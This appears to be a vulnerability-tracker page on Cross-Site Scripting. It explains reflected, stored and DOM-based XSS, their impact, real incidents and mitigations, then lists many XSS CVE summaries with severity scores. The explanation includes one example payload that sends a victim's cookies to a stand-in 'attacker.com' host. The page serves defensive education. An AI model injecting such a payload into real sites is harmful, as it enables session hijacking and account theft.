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Cross-Site Scripting

web MEDIUM

Cross-Site Scripting occurs when an application accepts untrusted data and sends it to a web browser without proper validation or encoding.

How It Works

Cross-Site Scripting occurs when an application accepts untrusted data and sends it to a web browser without proper validation or encoding. The attacker crafts input containing JavaScript code, which the application then incorporates into its HTML response. When a victim's browser renders this response, it executes the injected script as if it were legitimate code from the trusted website.

The attack manifests in three main variants. Reflected XSS occurs when malicious script arrives via an HTTP parameter (like a search query) and immediately bounces back in the response—typically delivered through phishing links. Stored XSS is more dangerous: the payload persists in the application's database (in comment fields, user profiles, forum posts) and executes whenever anyone views the infected content. DOM-based XSS happens entirely client-side when JavaScript code improperly handles user-controllable data, modifying the DOM in unsafe ways without ever sending the payload to the server.

A typical attack flow starts with the attacker identifying an injection point—anywhere user input appears in HTML output. They craft a payload like <script>document.location='http://attacker.com/steal?c='+document.cookie</script> and inject it through the vulnerable parameter. When victims access the page, their browsers execute this script within the security context of the legitimate domain, giving the attacker full access to cookies, session tokens, and DOM content.

Impact

  • Session hijacking: Steal authentication cookies to impersonate victims and access their accounts
  • Credential harvesting: Inject fake login forms on trusted pages to capture usernames and passwords
  • Account takeover: Perform state-changing actions (password changes, fund transfers) as the authenticated victim
  • Keylogging: Monitor and exfiltrate everything users type on the compromised page
  • Phishing and malware distribution: Redirect users to malicious sites or deliver drive-by downloads from a trusted domain
  • Data exfiltration: Access and steal sensitive information visible in the DOM or retrieved via AJAX requests

Real-World Examples

A stored XSS vulnerability in Twitter (2010) allowed attackers to create self-propagating worms. Users hovering over malicious tweets automatically retweeted them and followed the attacker, creating viral spread through the platform's legitimate functionality.

eBay suffered from persistent XSS flaws in product listings (CVE-2015-2880) where attackers embedded malicious scripts in item descriptions. Buyers viewing these listings had their sessions compromised, enabling unauthorized purchases and account takeover.

British Airways faced a sophisticated supply chain attack (2018) where attackers injected JavaScript into the airline's payment page. The script skimmed credit card details from 380,000 transactions, demonstrating how XSS enables payment fraud at massive scale.

Mitigation

  • Context-aware output encoding: HTML-encode for HTML context, JavaScript-encode for JS strings, URL-encode for URLs—never use generic escaping
  • Content Security Policy (CSP): Deploy strict CSP headers to whitelist script sources and block inline JavaScript execution
  • HTTPOnly and Secure cookie flags: Prevent JavaScript access to session cookies and ensure transmission over HTTPS only
  • Input validation: Reject unexpected characters and patterns, though this is defense-in-depth, not primary protection
  • DOM-based XSS prevention: Use safe APIs like textContent instead of innerHTML; avoid passing user data to dangerous sinks like eval()

Recent CVEs (39308)

EPSS 1% CVSS 5.4
MEDIUM This Month

IBM Security Guardium Insights 2.0.1 could allow a remote attacker to hijack the clicking action of the victim. Rated medium severity (CVSS 5.4), this vulnerability is remotely exploitable, low attack complexity. No vendor patch available.

XSS IBM Security Guardium Insights
NVD
EPSS 1% CVSS 4.8
MEDIUM POC This Month

DBHcms v1.2.0 has a stored XSS vulnerability as there is no htmlspecialchars function for '$_POST['pageparam_insert_description']' variable in dbhcms\mod\mod.page.edit.php line 227, A remote. Rated medium severity (CVSS 4.8), this vulnerability is remotely exploitable, low attack complexity. Public exploit code available and no vendor patch available.

XSS PHP Dbhcms
NVD GitHub
EPSS 1% CVSS 4.8
MEDIUM POC This Month

DBHcms v1.2.0 has a stored xss vulnerability as there is no htmlspecialchars function for '$_POST['pageparam_insert_name']' variable in dbhcms\mod\mod.page.edit.php line 227, A remote authenticated. Rated medium severity (CVSS 4.8), this vulnerability is remotely exploitable, low attack complexity. Public exploit code available and no vendor patch available.

XSS PHP Dbhcms
NVD GitHub
EPSS 1% CVSS 4.8
MEDIUM POC This Month

DBHcms v1.2.0 has a stored xss vulnerability as there is no htmlspecialchars function in dbhcms\mod\mod.domain.edit.php line 119. Rated medium severity (CVSS 4.8), this vulnerability is remotely exploitable, low attack complexity. Public exploit code available and no vendor patch available.

XSS PHP Dbhcms
NVD GitHub
EPSS 1% CVSS 4.8
MEDIUM POC This Month

DBHcms v1.2.0 has a stored xss vulnerability as there is no security filter in dbhcms\mod\mod.users.view.php line 57 for user_login, A remote authenticated with admin user can exploit this. Rated medium severity (CVSS 4.8), this vulnerability is remotely exploitable, low attack complexity. Public exploit code available and no vendor patch available.

XSS PHP Dbhcms
NVD GitHub
EPSS 1% CVSS 4.8
MEDIUM POC This Month

DBHcms v1.2.0 has a stored xss vulnerability as there is no htmlspecialchars function for 'menu_description' variable in dbhcms\mod\mod.menus.edit.php line 83 and in dbhcms\mod\mod.menus.view.php. Rated medium severity (CVSS 4.8), this vulnerability is remotely exploitable, low attack complexity. Public exploit code available and no vendor patch available.

XSS PHP Dbhcms
NVD GitHub
EPSS 1% CVSS 4.8
MEDIUM POC This Month

DBHcms v1.2.0 has a reflected xss vulnerability as there is no security filter in dbhcms\mod\mod.selector.php line 108 for $_GET['return_name'] parameter, A remote authenticated with admin user can. Rated medium severity (CVSS 4.8), this vulnerability is remotely exploitable, low attack complexity. Public exploit code available and no vendor patch available.

XSS PHP Dbhcms
NVD GitHub
EPSS 1% CVSS 6.1
MEDIUM POC This Month

DBHcms v1.2.0 has a stored xss vulnerability as there is no htmlspecialchars function form 'Name' in dbhcms\types.php, A remote unauthenticated attacker can exploit this vulnerability to hijack other. Rated medium severity (CVSS 6.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. Public exploit code available and no vendor patch available.

XSS PHP Dbhcms
NVD GitHub
EPSS 1% CVSS 6.1
MEDIUM POC This Month

DBHcms v1.2.0 has a stored xss vulnerability as there is no security filter of $_GET['dbhcms_pid'] variable in dbhcms\page.php line 107,. Rated medium severity (CVSS 6.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. Public exploit code available and no vendor patch available.

XSS PHP Dbhcms
NVD GitHub
EPSS 1% CVSS 5.4
MEDIUM POC This Month

A cross-site scripting error in Nextcloud Desktop client 2.6.4 allowed to present any html (including local links) when responding with invalid data on the login attempt. Rated medium severity (CVSS 5.4), this vulnerability is remotely exploitable, low attack complexity. Public exploit code available and no vendor patch available.

XSS Nextcloud Desktop
NVD
EPSS 1% CVSS 5.4
MEDIUM This Month

VMware App Volumes 2.x prior to 2.18.6 and VMware App Volumes 4 prior to 2006 contain a Stored Cross-Site Scripting (XSS) vulnerability. Rated medium severity (CVSS 5.4), this vulnerability is remotely exploitable, low attack complexity. No vendor patch available.

XSS VMware App Volumes
NVD
EPSS 1% CVSS 5.4
MEDIUM POC This Month

ajax_policy_generator in admin/modules/cli-policy-generator/classes/class-policy-generator-ajax.php in GDPR Cookie Consent (cookie-law-info) 1.8.2 and below plugin for WordPress, allows authenticated. Rated medium severity (CVSS 5.4), this vulnerability is remotely exploitable, low attack complexity. Public exploit code available and no vendor patch available.

XSS WordPress Privilege Escalation +2
NVD
EPSS 1% CVSS 6.1
MEDIUM This Month

Zulip Server before 2.1.5 allows reflected XSS via the Dropbox webhook. Rated medium severity (CVSS 6.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. No vendor patch available.

XSS Zulip Server
NVD
EPSS 1% CVSS 5.4
MEDIUM PATCH This Month

In auth0-lock versions before and including 11.25.1, dangerouslySetInnerHTML is used to update the DOM. Rated medium severity (CVSS 5.4), this vulnerability is remotely exploitable, low attack complexity. No vendor patch available.

XSS Lock
NVD GitHub
EPSS 1% CVSS 6.1
MEDIUM POC This Month

A cross-site scripting (XSS) vulnerability in i-doit 1.14.2 allows remote attackers to inject arbitrary web script or HTML via the viewMode, tvMode, tvType, objID, catgID, objTypeID, or editMode. Rated medium severity (CVSS 6.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. Public exploit code available and no vendor patch available.

XSS I Doit
NVD
EPSS 3% CVSS 6.1
MEDIUM POC PATCH This Month

Rocket.Chat through 3.4.2 allows XSS where an attacker can send a specially crafted message to a channel or in a direct message to the client which results in remote code execution on the client side. Rated medium severity (CVSS 6.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. Public exploit code available.

XSS RCE Rocket Chat
NVD GitHub
EPSS 1% CVSS 6.1
MEDIUM This Month

A flaw was found in Ovirt Engine's web interface in ovirt 4.4 and earlier, where it did not filter user-controllable parameters completely, resulting in a reflected cross-site scripting attack. Rated medium severity (CVSS 6.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. No vendor patch available.

XSS Ovirt Engine
NVD
EPSS 1% CVSS 6.1
MEDIUM This Month

Reflected Cross Site Scripting in Teradici PCoIP Management Console prior to 20.07 could allow an attacker to take over the user's active session if the user is exposed to a malicious payload. Rated medium severity (CVSS 6.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. No vendor patch available.

XSS Pcoip Management Console
NVD
EPSS 2% CVSS 5.4
MEDIUM PATCH This Month

A cross site scripting vulnerability exists when Microsoft Dynamics 365 (on-premises) does not properly sanitize a specially crafted web request to an affected Dynamics server. Rated medium severity (CVSS 5.4), this vulnerability is remotely exploitable, low attack complexity. This Cross-Site Scripting (XSS) vulnerability could allow attackers to inject malicious scripts into web pages viewed by other users.

XSS Microsoft Dynamics 365
NVD
EPSS 2% CVSS 5.4
MEDIUM PATCH This Month

A cross-site-scripting (XSS) vulnerability exists when Microsoft SharePoint Server does not properly sanitize a specially crafted web request to an affected SharePoint server. Rated medium severity (CVSS 5.4), this vulnerability is remotely exploitable, low attack complexity. This Cross-Site Scripting (XSS) vulnerability could allow attackers to inject malicious scripts into web pages viewed by other users.

XSS Microsoft Sharepoint Enterprise Server +2
NVD
EPSS 2% CVSS 5.5
MEDIUM PATCH This Month

A cross-site-scripting (XSS) vulnerability exists when Microsoft SharePoint Server does not properly sanitize a specially crafted web request to an affected SharePoint server. Rated medium severity (CVSS 5.5), this vulnerability is low attack complexity. This Cross-Site Scripting (XSS) vulnerability could allow attackers to inject malicious scripts into web pages viewed by other users.

XSS Microsoft Sharepoint Designer +3
NVD
EPSS 2% CVSS 5.4
MEDIUM PATCH This Month

A spoofing vulnerability exists when Microsoft SharePoint Server does not properly sanitize a specially crafted web request to an affected SharePoint server. Rated medium severity (CVSS 5.4), this vulnerability is remotely exploitable, low attack complexity.

XSS Microsoft Sharepoint Enterprise Server +2
NVD
EPSS 2% CVSS 5.4
MEDIUM PATCH This Month

A spoofing vulnerability exists when Microsoft SharePoint Server does not properly sanitize a specially crafted web request to an affected SharePoint server. Rated medium severity (CVSS 5.4), this vulnerability is remotely exploitable, low attack complexity.

XSS Microsoft Sharepoint Enterprise Server +1
NVD
EPSS 2% CVSS 5.4
MEDIUM PATCH This Month

A spoofing vulnerability exists when Microsoft SharePoint Server does not properly sanitize a specially crafted web request to an affected SharePoint server. Rated medium severity (CVSS 5.4), this vulnerability is remotely exploitable, low attack complexity.

XSS Microsoft Sharepoint Enterprise Server +2
NVD
EPSS 1% CVSS 4.8
MEDIUM This Month

A vulnerability in the web-based management interface of Cisco UCS Director could allow an authenticated, remote attacker with administrative credentials to conduct a cross-site scripting (XSS). Rated medium severity (CVSS 4.8), this vulnerability is remotely exploitable, low attack complexity. No vendor patch available.

XSS Cisco Ucs Director
NVD
EPSS 1% CVSS 6.1
MEDIUM This Month

A vulnerability in the web-based management interface of Cisco Webex Meetings could allow an unauthenticated, remote attacker to conduct a cross-site scripting (XSS) attack against a user of the. Rated medium severity (CVSS 6.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. No vendor patch available.

XSS Cisco Webex Meetings Online
NVD
EPSS 1% CVSS 6.1
MEDIUM This Month

A vulnerability in the web UI of Cisco Unified Communications Manager (Unified CM) and Cisco Unified Communications Manager Session Management Edition (Unified CM SME) could allow an unauthenticated,. Rated medium severity (CVSS 6.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. No vendor patch available.

XSS Cisco Unified Communications Manager
NVD
EPSS 1% CVSS 6.1
MEDIUM This Month

Improper input validation in Citrix XenMobile Server 10.12 before RP1, Citrix XenMobile Server 10.11 before RP4, Citrix XenMobile Server 10.11 before RP6 and Citrix XenMobile Server before 10.9 RP5. Rated medium severity (CVSS 6.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. No vendor patch available.

XSS Citrix Xenmobile Server
NVD
EPSS 1% CVSS 9.6
CRITICAL PATCH Act Now

A vulnerability has been identified in SICAM WEB firmware for SICAM A8000 RTUs (All versions < V05.30). Rated critical severity (CVSS 9.6), this vulnerability is remotely exploitable, no authentication required, low attack complexity. This Cross-Site Scripting (XSS) vulnerability could allow attackers to inject malicious scripts into web pages viewed by other users.

XSS Sicam A8000 Firmware
NVD
EPSS 2% CVSS 6.1
MEDIUM PATCH This Month

A cross-site scripting (XSS) vulnerability in TinyMCE 5.2.1 and earlier allows remote attackers to inject arbitrary web script when configured in classic editing mode. Rated medium severity (CVSS 6.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. No vendor patch available.

XSS Tinymce
NVD
EPSS 1% CVSS 5.4
MEDIUM This Month

For GitLab before 13.0.12, 13.1.6, 13.2.3 a cross-site scripting (XSS) vulnerability exists in the issue reference number tooltip. Rated medium severity (CVSS 5.4), this vulnerability is remotely exploitable, low attack complexity. No vendor patch available.

XSS Gitlab
NVD
EPSS 1% CVSS 5.4
MEDIUM This Month

For GitLab before 13.0.12, 13.1.6, 13.2.3 a cross-site scripting vulnerability exists in the issues list via milestone title. Rated medium severity (CVSS 5.4), this vulnerability is remotely exploitable, low attack complexity. No vendor patch available.

XSS Gitlab
NVD
EPSS 1% CVSS 6.3
MEDIUM This Month

Cross-site scripting for some Intel(R) Server Boards, Server Systems and Compute Modules before version 1.59 may allow an unauthenticated user to potentially enable escalation of privilege via. Rated medium severity (CVSS 6.3), this vulnerability is no authentication required, low attack complexity. No vendor patch available.

XSS Privilege Escalation Intel +18
NVD
EPSS 0% CVSS 4.1
MEDIUM This Month

Cross Site scripting vulnerability in McAfee Data Loss Prevention (DLP) ePO extension prior to 11.5.3 allows authenticated remote user to trigger scripts to run in a user's browser via adding a new. Rated medium severity (CVSS 4.1), this vulnerability is low attack complexity. No vendor patch available.

XSS Data Loss Prevention
NVD
EPSS 1% CVSS 4.6
MEDIUM This Month

Cross Site scripting vulnerability in McAfee Data Loss Prevention (DLP) ePO extension prior to 11.5.3 allows authenticated attackers to trigger alerts via the file upload tab in the DLP case. Rated medium severity (CVSS 4.6), this vulnerability is remotely exploitable, low attack complexity. No vendor patch available.

XSS File Upload Data Loss Prevention
NVD
EPSS 1% CVSS 6.1
MEDIUM POC This Month

PHP-Fusion 9.03 allows XSS on the preview page. Rated medium severity (CVSS 6.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. Public exploit code available and no vendor patch available.

XSS Php Fusion
NVD
EPSS 1% CVSS 5.4
MEDIUM POC This Month

PHP-Fusion 9.03 allows XSS via the error_log file. Rated medium severity (CVSS 5.4), this vulnerability is remotely exploitable, low attack complexity. Public exploit code available and no vendor patch available.

XSS Php Fusion
NVD
EPSS 3% CVSS 6.1
MEDIUM POC This Month

search.php in the Nova Lite theme before 1.3.9 for WordPress allows Reflected XSS. Rated medium severity (CVSS 6.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. No vendor patch available.

XSS WordPress PHP +1
NVD
EPSS 4% CVSS 4.8
MEDIUM This Month

In GitLab before 13.0.12, 13.1.6, and 13.2.3, a stored XSS vulnerability exists in the CI/CD Jobs page. Rated medium severity (CVSS 4.8), this vulnerability is remotely exploitable, low attack complexity. No vendor patch available.

XSS Gitlab
NVD
EPSS 1% CVSS 4.8
MEDIUM This Month

SAP Business Objects Business Intelligence Platform (Central Management Console), versions- 4.2, 4.3, allows an attacker with administrator rights can use the web application to send malicious code. Rated medium severity (CVSS 4.8), this vulnerability is remotely exploitable, low attack complexity. No vendor patch available.

XSS SAP Businessobjects Business Intelligence Platform
NVD
EPSS 2% CVSS 9.0
CRITICAL Act Now

SAP NetWeaver (Knowledge Management), versions - 7.30, 7.31, 7.40, 7.50, allows the automatic execution of script content in a stored file due to inadequate filtering with the accessing user's. Rated critical severity (CVSS 9.0), this vulnerability is remotely exploitable, low attack complexity. No vendor patch available.

XSS SAP Netweaver Knowledge Management
NVD
EPSS 1% CVSS 5.4
MEDIUM PATCH This Month

Jenkins Yet Another Build Visualizer Plugin 1.11 and earlier does not escape tooltip content, resulting in a stored cross-site scripting (XSS) vulnerability exploitable by users with Run/Update. Rated medium severity (CVSS 5.4), this vulnerability is remotely exploitable, low attack complexity. No vendor patch available.

XSS Jenkins Yet Another Build Visualizer
NVD
EPSS 5% CVSS 5.4
MEDIUM POC PATCH This Month

Jenkins 2.251 and earlier, LTS 2.235.3 and earlier does not escape the remote address of the host starting a build via 'Trigger builds remotely', resulting in a stored cross-site scripting (XSS). Rated medium severity (CVSS 5.4), this vulnerability is remotely exploitable, low attack complexity. Public exploit code available and no vendor patch available.

XSS Jenkins
NVD Exploit-DB
EPSS 83% CVSS 5.4
MEDIUM POC PATCH THREAT This Month

Jenkins 2.251 and earlier, LTS 2.235.3 and earlier does not escape the project naming strategy description, resulting in a stored cross-site scripting (XSS) vulnerability exploitable by users with. Rated medium severity (CVSS 5.4), this vulnerability is remotely exploitable, low attack complexity. Public exploit code available and no vendor patch available.

XSS Jenkins
NVD Exploit-DB
EPSS 7% CVSS 5.4
MEDIUM POC PATCH This Month

Jenkins 2.251 and earlier, LTS 2.235.3 and earlier does not escape the tooltip content of help icons, resulting in a stored cross-site scripting (XSS) vulnerability. Rated medium severity (CVSS 5.4), this vulnerability is remotely exploitable, low attack complexity. Public exploit code available and no vendor patch available.

XSS Jenkins
NVD Exploit-DB
EPSS 1% CVSS 6.1
MEDIUM POC PATCH This Month

Reflected Cross-Site Scripting vulnerability in Modules.php in RosarioSIS Student Information System < 6.5.1 allows remote attackers to execute arbitrary web script via embedding javascript or HTML. Rated medium severity (CVSS 6.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. Public exploit code available.

XSS PHP Student Information System
NVD
EPSS 1% CVSS 5.4
MEDIUM POC This Month

SugarCRM before 10.1.0 (Q3 2020) allows XSS. Rated medium severity (CVSS 5.4), this vulnerability is remotely exploitable, low attack complexity. Public exploit code available and no vendor patch available.

XSS Sugarcrm
NVD
EPSS 1% CVSS 5.4
MEDIUM POC PATCH This Month

An XSS issue was discovered in MantisBT before 2.24.2. Rated medium severity (CVSS 5.4), this vulnerability is remotely exploitable, low attack complexity. Public exploit code available and no vendor patch available.

XSS RCE PHP +1
NVD
EPSS 2% CVSS 6.1
MEDIUM PATCH This Month

Roundcube Webmail before 1.3.15 and 1.4.8 allows stored XSS in HTML messages during message display via a crafted SVG document. Rated medium severity (CVSS 6.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. This Cross-Site Scripting (XSS) vulnerability could allow attackers to inject malicious scripts into web pages viewed by other users.

XSS Webmail Fedora
NVD GitHub
EPSS 1% CVSS 6.1
MEDIUM POC This Month

content/content.blueprintsevents.php in Symphony CMS 3.0.0 allows XSS via fields['name'] to appendSubheading. Rated medium severity (CVSS 6.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. Public exploit code available and no vendor patch available.

XSS PHP Symphony
NVD GitHub
EPSS 1% CVSS 6.1
MEDIUM This Month

The Management Interface of the Teradici Cloud Access Connector and Cloud Access Connector Legacy for releases prior to April 24, 2020 (v16 and earlier for the Cloud Access Connector) contains a. Rated medium severity (CVSS 6.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. No vendor patch available.

XSS Cloud Access Connector Cloud Access Connector Legacy
NVD
EPSS 1% CVSS 6.1
MEDIUM PATCH This Month

The web server in the Teradici Managament console versions 20.04 and 20.01.1 did not properly set the X-Frame-Options HTTP header, which could allow an attacker to trick a user into clicking a. Rated medium severity (CVSS 6.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity.

XSS Pcoip Management Console
NVD
EPSS 1% CVSS 5.4
MEDIUM POC This Month

SOPlanning 1.46.01 allows persistent XSS via the Project Name, Statutes Comment, Places Comment, or Resources Comment field. Rated medium severity (CVSS 5.4), this vulnerability is remotely exploitable, low attack complexity. Public exploit code available and no vendor patch available.

XSS Soplanning
NVD
EPSS 1% CVSS 5.4
MEDIUM This Month

A cross-site scripting flaw was found in Report Menu feature of Red Hat CloudForms 4.7 and 5. Rated medium severity (CVSS 5.4), this vulnerability is remotely exploitable, low attack complexity. No vendor patch available.

XSS Red Hat Cloudforms
NVD
EPSS 1% CVSS 6.1
MEDIUM This Month

A cross-site scripting (XSS) vulnerability in the Permissions component in SAINT Security Suite 8.0 through 9.8.20 could allow arbitrary script to run in the context of a logged-in user when the user. Rated medium severity (CVSS 6.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. No vendor patch available.

XSS Saint Security Suite
NVD
EPSS 1% CVSS 6.1
MEDIUM This Month

A cross-site scripting (XSS) vulnerability in the Credential Manager component in SAINT Security Suite 8.0 through 9.8.20 could allow arbitrary script to run in the context of a logged-in user when. Rated medium severity (CVSS 6.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. No vendor patch available.

XSS Saint Security Suite
NVD
EPSS 1% CVSS 6.1
MEDIUM PATCH This Month

In MyBB before version 1.8.24, the custom MyCode (BBCode) for the visual editor doesn't escape input properly when rendering HTML, resulting in a DOM-based XSS vulnerability. Rated medium severity (CVSS 6.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. This Cross-Site Scripting (XSS) vulnerability could allow attackers to inject malicious scripts into web pages viewed by other users.

XSS Mybb
NVD GitHub
EPSS 1% CVSS 6.1
MEDIUM POC PATCH This Month

TinyMCE before 4.9.7 and 5.x before 5.1.4 allows XSS in the core parser, the paste plugin, and the visualchars plugin by using the clipboard or APIs to insert content into the editor. Rated medium severity (CVSS 6.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. Public exploit code available and no vendor patch available.

XSS Tinymce
NVD GitHub
EPSS 1% CVSS 6.5
MEDIUM This Month

Using object or embed tags, it was possible to frame other websites, even if they disallowed framing using the X-Frame-Options header. Rated medium severity (CVSS 6.5), this vulnerability is remotely exploitable, no authentication required, low attack complexity. No vendor patch available.

XSS Mozilla Firefox +1
NVD
EPSS 1% CVSS 6.1
MEDIUM PATCH This Month

Mibew Messenger before 3.2.7 allows XSS via a crafted user name. Rated medium severity (CVSS 6.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. This Cross-Site Scripting (XSS) vulnerability could allow attackers to inject malicious scripts into web pages viewed by other users.

XSS Messenger
NVD GitHub
EPSS 1% CVSS 6.1
MEDIUM PATCH This Month

IBM Jazz Reporting Service 7.0 and 7.0.1 is vulnerable to cross-site scripting. Rated medium severity (CVSS 6.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. This Cross-Site Scripting (XSS) vulnerability could allow attackers to inject malicious scripts into web pages viewed by other users.

XSS IBM Jazz Reporting Service
NVD
EPSS 1% CVSS 6.1
MEDIUM PATCH This Month

IBM Jazz Reporting Service 6.0.2, 6.0.6, 6.0.6.1, 7.0, and 7.0.1 is vulnerable to cross-site scripting. Rated medium severity (CVSS 6.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. This Cross-Site Scripting (XSS) vulnerability could allow attackers to inject malicious scripts into web pages viewed by other users.

XSS IBM Jazz Reporting Service
NVD
EPSS 1% CVSS 6.1
MEDIUM PATCH This Month

IBM Jazz Reporting Service 6.0.6, 6.0.6.1, and 7.0 is vulnerable to cross-site scripting. Rated medium severity (CVSS 6.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. This Cross-Site Scripting (XSS) vulnerability could allow attackers to inject malicious scripts into web pages viewed by other users.

XSS IBM Jazz Reporting Service
NVD
EPSS 1% CVSS 5.4
MEDIUM This Month

Combodo iTop contains a stored Cross-site Scripting vulnerability, which can be attacked by uploading file with malicious script. Rated medium severity (CVSS 5.4), this vulnerability is remotely exploitable, low attack complexity. No vendor patch available.

XSS Itop
NVD GitHub
EPSS 1% CVSS 6.1
MEDIUM This Month

Combodo iTop does not validate inputted parameters, attackers can inject malicious commands and launch XSS attack. Rated medium severity (CVSS 6.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. No vendor patch available.

XSS Itop
NVD GitHub
EPSS 1% CVSS 4.8
MEDIUM POC This Month

flatCore before 1.5.7 allows XSS by an admin via the acp/acp.php?tn=pages&sub=edit&editpage=1 page_linkname, page_title, page_content, or page_extracontent parameter, or the. Rated medium severity (CVSS 4.8), this vulnerability is remotely exploitable, low attack complexity. Public exploit code available and no vendor patch available.

XSS PHP Flatcore
NVD
EPSS 1% CVSS 6.1
MEDIUM This Month

JetBrains TeamCity before 2019.2.3 is vulnerable to reflected XSS in the administration UI. Rated medium severity (CVSS 6.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. No vendor patch available.

XSS Teamcity
NVD
EPSS 1% CVSS 6.1
MEDIUM This Month

JetBrains TeamCity before 2019.2.3 is vulnerable to stored XSS in the administration UI. Rated medium severity (CVSS 6.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. No vendor patch available.

XSS Teamcity
NVD
EPSS 0% CVSS 4.3
MEDIUM This Month

DIGITUS DA-70254 4-Port Gigabit Network Hub 2.073.000.E0008 devices allow an attacker on the same network to conduct persistent XSS attacks by leveraging administrative privileges to set a crafted. Rated medium severity (CVSS 4.3), this vulnerability is low attack complexity. No vendor patch available.

XSS Da 70254 Firmware
NVD
EPSS 0% CVSS 4.3
MEDIUM This Month

Lindy 42633 4-Port USB 2.0 Gigabit Network Server 2.078.000 devices allow an attacker on the same network to conduct persistent XSS attacks by leveraging administrative privileges to set a crafted. Rated medium severity (CVSS 4.3), this vulnerability is low attack complexity. No vendor patch available.

XSS 42633 Firmware
NVD
EPSS 0% CVSS 4.3
MEDIUM This Month

TP-Link USB Network Server TL-PS310U devices before 2.079.000.t0210 allow an attacker on the same network to conduct persistent XSS attacks by leveraging administrative privileges to set a crafted. Rated medium severity (CVSS 4.3), this vulnerability is low attack complexity. No vendor patch available.

XSS TP-Link Tl Ps310U Firmware
NVD
EPSS 1% CVSS 6.1
MEDIUM PATCH This Month

In Mahara 19.04 before 19.04.6, 19.10 before 19.10.4, and 20.04 before 20.04.1, certain places could execute file or folder names containing JavaScript. Rated medium severity (CVSS 6.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. This Cross-Site Scripting (XSS) vulnerability could allow attackers to inject malicious scripts into web pages viewed by other users.

XSS Mahara
NVD
EPSS 2% CVSS 7.5
HIGH PATCH This Week

Prism is vulnerable to Cross-Site Scripting. Rated high severity (CVSS 7.5), this vulnerability is remotely exploitable, no authentication required. This Cross-Site Scripting (XSS) vulnerability could allow attackers to inject malicious scripts into web pages viewed by other users.

XSS RCE Apple +1
NVD GitHub
EPSS 4% CVSS 6.1
MEDIUM POC This Month

Jeedom through 4.0.38 allows XSS. Rated medium severity (CVSS 6.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. Public exploit code available and no vendor patch available.

XSS Jeedom
NVD
EPSS 1% CVSS 6.1
MEDIUM PATCH This Month

LimeSurvey 4.3.2 allows reflected XSS because application/controllers/LSBaseController.php lacks code to validate parameters. Rated medium severity (CVSS 6.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. This Cross-Site Scripting (XSS) vulnerability could allow attackers to inject malicious scripts into web pages viewed by other users.

XSS PHP Limesurvey
NVD GitHub
EPSS 1% CVSS 6.1
MEDIUM PATCH This Month

USVN (aka User-friendly SVN) before 1.0.9 allows XSS via SVN logs. Rated medium severity (CVSS 6.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. This Cross-Site Scripting (XSS) vulnerability could allow attackers to inject malicious scripts into web pages viewed by other users.

XSS User Friendly Svn
NVD GitHub
EPSS 1% CVSS 6.1
MEDIUM This Month

Extreme EAC Appliance 8.4.1.24 allows unauthenticated reflected XSS via a parameter in a GET request. Rated medium severity (CVSS 6.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. No vendor patch available.

XSS Extreme Management Center
NVD
EPSS 1% CVSS 6.1
MEDIUM This Month

Extreme Analytics in Extreme Management Center before 8.5.0.169 allows unauthenticated reflected XSS via a parameter in a GET request, aka CFD-4887. Rated medium severity (CVSS 6.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. No vendor patch available.

XSS Extreme Management Center
NVD
EPSS 1% CVSS 5.4
MEDIUM POC This Month

An issue was discovered in the Gantt-Chart module before 5.5.5 for Jira. Rated medium severity (CVSS 5.4), this vulnerability is remotely exploitable, low attack complexity. Public exploit code available and no vendor patch available.

XSS Atlassian Gantt Chart
NVD
EPSS 2% CVSS 8.1
HIGH POC This Week

An issue was discovered in the Gantt-Chart module before 5.5.4 for Jira. Rated high severity (CVSS 8.1), this vulnerability is remotely exploitable, low attack complexity. Public exploit code available and no vendor patch available.

XSS Atlassian Gantt Chart
NVD
EPSS 1% CVSS 5.4
MEDIUM PATCH This Month

IBM Jazz Foundation and IBM Engineering products are vulnerable to cross-site scripting. Rated medium severity (CVSS 5.4), this vulnerability is remotely exploitable, low attack complexity. This Cross-Site Scripting (XSS) vulnerability could allow attackers to inject malicious scripts into web pages viewed by other users.

XSS IBM Engineering Requirements Management Doors Next
NVD
EPSS 1% CVSS 5.4
MEDIUM PATCH This Month

IBM Jazz Foundation and IBM Engineering products are vulnerable to cross-site scripting. Rated medium severity (CVSS 5.4), this vulnerability is remotely exploitable, low attack complexity. This Cross-Site Scripting (XSS) vulnerability could allow attackers to inject malicious scripts into web pages viewed by other users.

XSS IBM Engineering Workflow Management +1
NVD
EPSS 1% CVSS 5.4
MEDIUM PATCH This Month

IBM Jazz Foundation and IBM Engineering products are vulnerable to cross-site scripting. Rated medium severity (CVSS 5.4), this vulnerability is remotely exploitable, low attack complexity. This Cross-Site Scripting (XSS) vulnerability could allow attackers to inject malicious scripts into web pages viewed by other users.

XSS IBM Engineering Test Management
NVD
EPSS 1% CVSS 6.1
MEDIUM This Month

